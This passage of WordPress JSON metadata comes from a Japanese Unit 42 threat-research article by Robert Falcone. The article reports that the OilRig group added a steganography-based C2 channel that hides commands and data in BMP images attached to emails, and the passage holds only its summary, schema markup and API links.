b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3067\u30e1\u30fc\u30eb\u6dfb\u4ed8\u306eBMP\u753b\u50cf\u306b\u30b3\u30de\u30f3\u30c9\u3084\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u307fC2\u3068\u901a\u4fe1\u3057\u307e\u3059\u3002\u30e1\u30fc\u30eb\u3068\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u691c\u51fa\u304c\u56de\u907f\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002","breadcrumb":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/#primaryimage","url":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/04_Malware_Category_1920x900.jpg","contentUrl":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/04_Malware_Category_1920x900.jpg","width":1920,"height":900,"caption":"The image depicts a close-up view of a circuit board featuring microchips and electronic components with bright red digital data streams emanating from the surface, symbolizing high-speed data processing and technology innovation."},{"@type":"BreadcrumbList","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/unit42.paloaltonetworks.com\/ja\/"},{"@type":"ListItem","position":2,"name":"\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bOilRig\u304c\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u653b\u6483\u624b\u6bb5\u306b\u8ffd\u52a0"}]},{"@type":"WebSite","@id":"https:\/\/unit42.paloaltonetworks.com\/#website","url":"https:\/\/unit42.paloaltonetworks.com\/","name":"Unit 42","description":"Palo Alto Networks","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/unit42.paloaltonetworks.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ja"},{"@type":"Person","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/99e613cb620722a191a363182abe6fb1","name":"Robert Falcone","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/image\/9213e49ea48b7676660bac40d05c9e3e","url":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","contentUrl":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","caption":"Robert Falcone"},"url":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/author\/robertfalcone\/"}]}},"_links":{"self":[{"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/108202","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/comments?post=108202"}],"version-history":[{"count":5,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/108202\/revisions"}],"predecessor-version":[{"id":108207,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/posts\/108202\/revisions\/108207"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media\/134328"}],"wp:attachment":[{"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/media?parent=108202"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/categories?post=108202"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/tags?post=108202"},{"taxonomy":"product_categories","embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/product_categories?post=108202"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/wp-json\/wp\/v2\/coauthors?post=108202"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}